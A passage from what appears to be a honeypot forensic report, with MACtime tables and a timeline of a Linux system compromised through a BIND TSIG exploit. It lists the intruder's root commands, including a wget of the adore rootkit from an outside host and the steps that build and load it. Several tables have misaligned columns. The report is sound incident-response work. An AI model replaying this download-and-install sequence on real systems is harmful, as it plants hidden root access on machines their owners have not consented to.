<td>root</td>
<td>m..</td>
<td>/usr/lib/adore-0.42.tgz</td>
</tr>
</tbody>
</table>

1st System boot

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Size</th>
<th>User</th>
<th>Group</th>
<th>Mode</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>Aug 17</td>
<td>15:25</td>
<td>16384</td>
<td>drwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>/lost+found</td>
</tr>
<tr>
<td>Aug 17</td>
<td>15:25</td>
<td>4096</td>
<td>drwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>/proc</td>
</tr>
<tr>
<td>Aug 17</td>
<td>15:26</td>
<td>9648</td>
<td>.a. -rw-r--</td>
<td>root</td>
<td>root</td>
<td>/tmp/install.log</td>
</tr>
</tbody>
</table>

Setting up the honeypot

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Size</th>
<th>User</th>
<th>Group</th>
<th>Mode</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>Aug 17</td>
<td>19:47</td>
<td>40</td>
<td>.c</td>
<td>-rw-----</td>
<td>root</td>
<td>/etc/security.org</td>
</tr>
<tr>
<td>Aug 17</td>
<td>19:48</td>
<td>168</td>
<td>m.c</td>
<td>-rw-r--</td>
<td>root</td>
<td>/etc/hosts.allow</td>
</tr>
<tr>
<td>Aug 17</td>
<td>19:50</td>
<td>1652</td>
<td>m.c</td>
<td>-rw-r--</td>
<td>root</td>
<td>/etc/nsswitch.conf</td>
</tr>
<tr>
<td>Aug 17</td>
<td>20:04</td>
<td>4096</td>
<td>mac</td>
<td>drwxr-xr-x</td>
<td>root</td>
<td>/root/src</td>
</tr>
<tr>
<td>Aug 17</td>
<td>20:09</td>
<td>728</td>
<td>m.c</td>
<td>-rw-r--</td>
<td>root</td>
<td>/etc/passwd</td>
</tr>
</tbody>
</table>
### Tripwire database creation

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Size</th>
<th>Mode</th>
<th>Owner</th>
<th>Group</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>Aug 17 02</td>
<td>20:38:31</td>
<td>107984</td>
<td>-rw-r-x-</td>
<td>root</td>
<td>root</td>
<td>/usr/sbin/SVGATextMode</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/sbin/adduser -&gt; useradd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/sbin/ckconfig</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/sbin/arping</td>
</tr>
</tbody>
</table>

### Delroute script created

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Size</th>
<th>Mode</th>
<th>Owner</th>
<th>Group</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>Aug 17 02</td>
<td>20:53:35</td>
<td>1492</td>
<td>-rw-r-x-</td>
<td>root</td>
<td>root</td>
<td>/etc/rc.d/init.d/delroute</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>20:53:36</td>
<td>1492</td>
<td>-rw-r-x-</td>
<td>root</td>
<td>root</td>
<td>/etc/rc.d/init.d/delroute</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>20:53:50</td>
<td>1492</td>
<td>-rw-r-x-</td>
<td>root</td>
<td>root</td>
<td>/etc/rc.d/init.d/delroute</td>
</tr>
</tbody>
</table>

### Cracker in the system

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Size</th>
<th>Mode</th>
<th>Owner</th>
<th>Group</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>Aug 17 02</td>
<td>22:03:46</td>
<td>4096</td>
<td>drwxr-x-</td>
<td>root</td>
<td>root</td>
<td>/var/named</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:03:49</td>
<td>5572</td>
<td>-rw-r-x-</td>
<td>root</td>
<td>root</td>
<td>/usr/bin/whoami</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:03:50</td>
<td>9264</td>
<td>-rw-r-x-</td>
<td>root</td>
<td>root</td>
<td>/usr/bin/id</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:04:37</td>
<td>121744</td>
<td>-rw-r-x-</td>
<td>root</td>
<td>root</td>
<td>/usr/bin/wget</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:04:43</td>
<td>14749</td>
<td>-rw-r--</td>
<td>root</td>
<td>root</td>
<td>/etc/wgetrc</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:04:57</td>
<td>14749</td>
<td>-rw-r--</td>
<td>root</td>
<td>root</td>
<td>/usr/lib/adore-0.42.tgz</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:05:36</td>
<td>1979</td>
<td>-rw-r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/cleaner.c</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:05:51</td>
<td>2191</td>
<td>-rw-r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/rename.c</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:05:52</td>
<td>3417</td>
<td>-rw-r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/libinvisible.c</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:05:53</td>
<td>52</td>
<td>-rw-r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/TODO</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:05:54</td>
<td>4212</td>
<td>-rw-r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/ava.c</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:05:55</td>
<td>4181</td>
<td>-rw-r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/config</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:05:56</td>
<td>46384</td>
<td>-rw-r-x-</td>
<td>root</td>
<td>root</td>
<td>/bin/zcat</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:05:57</td>
<td>768</td>
<td>-rw-r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/CVS/Entries</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:06:01</td>
<td>46384</td>
<td>-rw-r-x-</td>
<td>root</td>
<td>root</td>
<td>/bin/gunzip</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:06:02</td>
<td>1904</td>
<td>-rw-r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/dummy.c</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:06:03</td>
<td>1660</td>
<td>-rw-r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/LICENSE</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:06:04</td>
<td>2796</td>
<td>-rw-r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/adore.h</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:06:05</td>
<td>144592</td>
<td>-rw-r-x-</td>
<td>root</td>
<td>root</td>
<td>/bin/tar</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:06:06</td>
<td>23665</td>
<td>-rw-r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/adore.c</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:06:07</td>
<td>4096</td>
<td>drwxr-x-</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/CVS</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:06:08</td>
<td>193</td>
<td>-rw-r-x-</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/startadore</td>
</tr>
<tr>
<td>Aug 17 02</td>
<td>22:06:09</td>
<td>3164</td>
<td>-rw-r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td>/usr/lib/adore/README</td>
</tr>
<tr>
<td>Mode</td>
<td>Size</td>
<td>Name</td>
<td>Link</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>------</td>
<td>-------</td>
<td>-------------------------------------------</td>
<td>---------------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>16384</td>
<td>m.c</td>
<td>drwxr-xr-x root root /usr/lib</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2527</td>
<td>.c</td>
<td>-rw-r--r-- jsmith jsmith/usr/lib/ador/libinvisible.h</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>.ac</td>
<td>-rw-r--r-- jsmith jsmith/usr/lib/ador/CVS/Repository</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>.ac</td>
<td>-rw-r--r-- jsmith jsmith/usr/lib/ador/CVS/Tag</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1016</td>
<td>.ac</td>
<td>-rw-r--r-- jsmith jsmith/usr/lib/ador/Makefile.gen</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1275</td>
<td>.ac</td>
<td>-rw-r--r-- jsmith jsmith/usr/lib/ador/Changelog</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>.ac</td>
<td>-rw-r--r-- jsmith jsmith/usr/lib/ador/CVS/Root</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>46384</td>
<td>.a</td>
<td>-rwxr-xr-x root root /bin/gzip</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Aug 17 02 22:05:08</td>
<td>64478</td>
<td>.a. -rwxr-xr-x root root /lib/libcrypt-2.1.3.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Aug 17 02 22:05:08</td>
<td>4181</td>
<td>.a. -rwxr-xr-x jsmith jsmith/usr/lib/ador/configure</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>527856</td>
<td>.a.</td>
<td>-rwxr-xr-x root root /usr/bin/perl5.00503</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>6196</td>
<td>.a.</td>
<td>-rwxr-xr-x root root /bin/uname</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>527856</td>
<td>.a.</td>
<td>-rwxr-xr-x root root /usr/bin/perl</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>17</td>
<td>.a.</td>
<td>lrwxrwxrwx root root /lib/libcrypt.so.1 -&gt;</td>
<td>libcrypt-2.1.3.so</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Aug 17 02 22:05:10</td>
<td>704</td>
<td>mac -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Aug 17 02 22:05:10</td>
<td>704</td>
<td>m.c -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Aug 17 02 22:05:25</td>
<td>111472</td>
<td>.a. -rwxr-xr-x root root</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Aug 17 02 22:05:26</td>
<td>760</td>
<td>.a. -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/fbcon-cfb24.ver</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>655</td>
<td>.a. -rwxr-xr-x root root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/msdosfs_syms.ver</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>315</td>
<td>.a. -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/ip_masq_app.ver</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>214</td>
<td>.a. -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/fbmem.ver</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>1</td>
<td>.a. -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/ppp_deflate.ver</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>172</td>
<td>.a. -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/selection.ver</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>34972</td>
<td>.a. -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>/usr/src/linux-2.2.14/include/linux/autoconf-up.h</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>22356</td>
<td>.a. -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/ksyms.ver</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>394</td>
<td>.a. -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/mpi401.ver</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>2451</td>
<td>.a. -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/pccsymver</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>220</td>
<td>.a. -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/apm.ver</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>136</td>
<td>.a. -rw-r--r-- root root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>File Path</td>
<td>Permissions</td>
<td>Owner</td>
<td>Group</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>--------------------------------------------------------------------------</td>
<td>-------------------</td>
<td>------------</td>
<td>---------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/mtrr.ver</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/signal.ver</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/sequencer_syms.ver</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/src/linux-2.2.14/include/linux/kernel.h</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/misc.ver</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/src/linux-2.2.14/include/linux/autoconf.h</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/src/linux-2.2.14/include/linux/modules-up/z85230.ver</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/src/linux-2.2.14/include/linux/version.h</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/src/linux-2.2.14/include/linux/config.h</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/src/linux-2.2.14/include/linux/unistd.h</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/include/sys/syscall.h</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/include/sys/syscall.h</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/bin/i386-redhat-linux-gcc</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/bin/gcc</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3.m.c</td>
<td>drwxr-xr-x</td>
<td>30</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/adore.o</td>
<td>-rw-r--r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/ava.c</td>
<td>-rw-r--r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/libinvisible.c</td>
<td>-rw-r--r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/libinvisible.c</td>
<td>-rw-r--r--</td>
<td>jsmith</td>
<td>jsmith</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/etc/conf.modules</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/startadore</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/adore.o</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/adore.o</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/adore.o</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/adore.o</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/adore.o</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/adore.o</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/adore.o</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/adore.o</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/adore/adore.o</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
System Timeline

The system timeline below was compiled from various sources that were setup to record the activities happening on the honeypot network. The sources include the iptables firewall logs, the snort log, analysis from the tcpdump network sniffer, the remote syslog (Appendix 4), MACtime analysis, and the wtmp file.

### System Timeline Source Key

- **FW** = Firewall Logs
- **IDS** = Snort IDS logs
- **NS** = Tcpdump (Network Sniffer)
- **MAC** = MACtime Analysis
- **Syslog** = Remote Syslog
- **wtmp** = /var/log/wtmp

### Source Date Time From Time To Summary of What Happened

<table>
<thead>
<tr>
<th>Source</th>
<th>Date</th>
<th>Time From</th>
<th>Time To</th>
<th>Summary of What Happened</th>
</tr>
</thead>
<tbody>
<tr>
<td>MAC</td>
<td>Aug 17 15:25:42</td>
<td>System Install</td>
<td></td>
<td></td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17 15:26:02</td>
<td>Install.log is created</td>
<td></td>
<td></td>
</tr>
<tr>
<td>wtmp</td>
<td>Aug 17 19:43:00</td>
<td>End of system install and reboot</td>
<td></td>
<td></td>
</tr>
<tr>
<td>wtmp</td>
<td>Aug 17 19:47:00 20:07:00</td>
<td>1st Root session</td>
<td></td>
<td></td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17 19:47:46</td>
<td>Creation of securetty.org; Most likely was created when /etc/securetty was renamed to /etc/securetty.org</td>
<td></td>
<td></td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17 19:48:22</td>
<td>/etc/hosts.allow is edited during honeypot setup</td>
<td></td>
<td></td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17 19:50:36</td>
<td>/etc/nsswitch.conf is edited during honeypot setup</td>
<td></td>
<td></td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17 20:18:47</td>
<td>/usr/sbin/rpc.autofs is created during honeypot setup</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Last of the MACtime entries

| Aug 17 02 22:16:52 | 3   | lrwxrwxrwxroot root root /dev/cdrom -> hdc |

System Timeline
<table>
<thead>
<tr>
<th>Source</th>
<th>Date</th>
<th>Time From</th>
<th>Time To</th>
<th>Summary of What Happened</th>
</tr>
</thead>
<tbody>
<tr>
<td>MAC</td>
<td>Aug 17</td>
<td>20:23:04</td>
<td></td>
<td>/etc/rc.d/init.d/xfs is created by a copy command during honeypot setup</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17</td>
<td>20:23:14</td>
<td></td>
<td>/usr/X11R6/lib/X11/fonts/Type1/coura.pfa is created during the honeypot setup</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17</td>
<td>20:23:31</td>
<td></td>
<td>/etc/rc.d/init.d/ipchains.org is created by rename command</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17</td>
<td>20:34:01</td>
<td></td>
<td>/etc/ftpusers altered</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17</td>
<td>20:34:57</td>
<td>20:35:04</td>
<td>Tripwire Install</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17</td>
<td>20:38:07</td>
<td></td>
<td>/etc/tripwire linked to /root/src/tripwire/etc</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17</td>
<td>20:38:16</td>
<td></td>
<td>/var/tripwire linked to /root/src/tripwire/var</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17</td>
<td>20:38:21</td>
<td>21:09:00</td>
<td>Tripwire database created</td>
</tr>
<tr>
<td>wtmp</td>
<td>Aug 17</td>
<td>21:09:00</td>
<td></td>
<td>Reboot by root</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17</td>
<td>21:23:27</td>
<td></td>
<td>Cronjob runs</td>
</tr>
<tr>
<td>FW &amp; IDS</td>
<td>Aug 17</td>
<td>21:33:24</td>
<td></td>
<td>Start of Portscan by 24.147.x.x</td>
</tr>
<tr>
<td>NS &amp; IDS</td>
<td>Aug 17</td>
<td>21:34:14</td>
<td></td>
<td>End of Portscan by 24.147.x.x</td>
</tr>
<tr>
<td>NS &amp; IDS</td>
<td>Aug 17</td>
<td>21:39:38</td>
<td></td>
<td>68.0.x.x RPC Portmap request status</td>
</tr>
<tr>
<td>NS &amp; IDS</td>
<td>Aug 17</td>
<td>21:39:38</td>
<td></td>
<td>68.0.x.x does a remote exploit for rpc.statd</td>
</tr>
<tr>
<td>FW &amp; IDS</td>
<td>Aug 17</td>
<td>21:41:33</td>
<td></td>
<td>New portscan from 68.0.x.x</td>
</tr>
<tr>
<td>FW &amp; IDS</td>
<td>Aug 17</td>
<td>21:52:56</td>
<td></td>
<td>End of portscan by 68.0.x.x</td>
</tr>
<tr>
<td>FW</td>
<td>Aug 17</td>
<td>22:02:52</td>
<td></td>
<td>Connect to Port 53 with remote ISC Bind 8 TSIG exploit by 24.147.x.x</td>
</tr>
<tr>
<td>FW</td>
<td>Aug 17</td>
<td>22:02:52</td>
<td></td>
<td>Root Shell taken by 24.147.x.x</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:02:53</td>
<td></td>
<td>Cracker executes as root: /bin/uname -a</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:02:59</td>
<td></td>
<td>Cracker executes as root: dir</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:03:01</td>
<td></td>
<td>Cracker executes as root: pwd</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:03:02</td>
<td></td>
<td>Cracker executes as root: whoami</td>
</tr>
<tr>
<td>Source</td>
<td>Date</td>
<td>Time From</td>
<td>Time To</td>
<td>Summary of What Happened</td>
</tr>
<tr>
<td>--------</td>
<td>------------</td>
<td>-----------</td>
<td>---------------</td>
<td>----------------------------------------------------------------</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:03:03</td>
<td></td>
<td></td>
<td>Cracker executes as root: id</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:03:22</td>
<td></td>
<td></td>
<td>Cracker executes as root: cd /usr/lib</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:03:23</td>
<td></td>
<td></td>
<td>Cracker executes as root: pwd</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:03:24</td>
<td></td>
<td></td>
<td>Cracker executes as root: dir</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:03:50</td>
<td></td>
<td></td>
<td>Cracker executes as root: wget <a href="http://www.teamt">http://www.teamt</a> eso.net/releases/adore-0.42.tgz</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:04:10</td>
<td></td>
<td></td>
<td>Cracker executes as root: tar -zxvf adore-0.42.tgz</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:04:12</td>
<td></td>
<td></td>
<td>Cracker executes as root: cd adore</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:04:13</td>
<td></td>
<td></td>
<td>Cracker executes as root: dir</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:04:15</td>
<td></td>
<td></td>
<td>Cracker executes as root:</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:04:15</td>
<td></td>
<td></td>
<td>Cracker executes as root:</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:04:16</td>
<td></td>
<td></td>
<td>Cracker executes as root: ./configure</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:04:22</td>
<td></td>
<td></td>
<td>Cracker executes as root: ./configure</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17 22:04:22</td>
<td></td>
<td></td>
<td>/usr/lib/adore/configure was executed</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:04:39</td>
<td></td>
<td></td>
<td>Cracker executes as root: make</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17 22:04:39</td>
<td>22:04:46</td>
<td></td>
<td>/usr/bin/make was executed</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:04:52</td>
<td></td>
<td></td>
<td>Cracker executes as root: ls</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:04:56</td>
<td></td>
<td></td>
<td>Cracker executes as root: ./startadore</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:05:01</td>
<td></td>
<td></td>
<td>Cracker executes as root: cat startadore</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17 22:05:01</td>
<td></td>
<td></td>
<td>/usr/lib/adore/startadore is accessed</td>
</tr>
</tbody>
</table>

Page: 24 of 132
<table>
<thead>
<tr>
<th>Source</th>
<th>Date</th>
<th>Time From</th>
<th>Time To</th>
<th>Summary of What Happened</th>
</tr>
</thead>
<tbody>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:05:24</td>
<td></td>
<td></td>
<td>Cracker executes as root: echo /sbin/ind^Hs^[3~</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
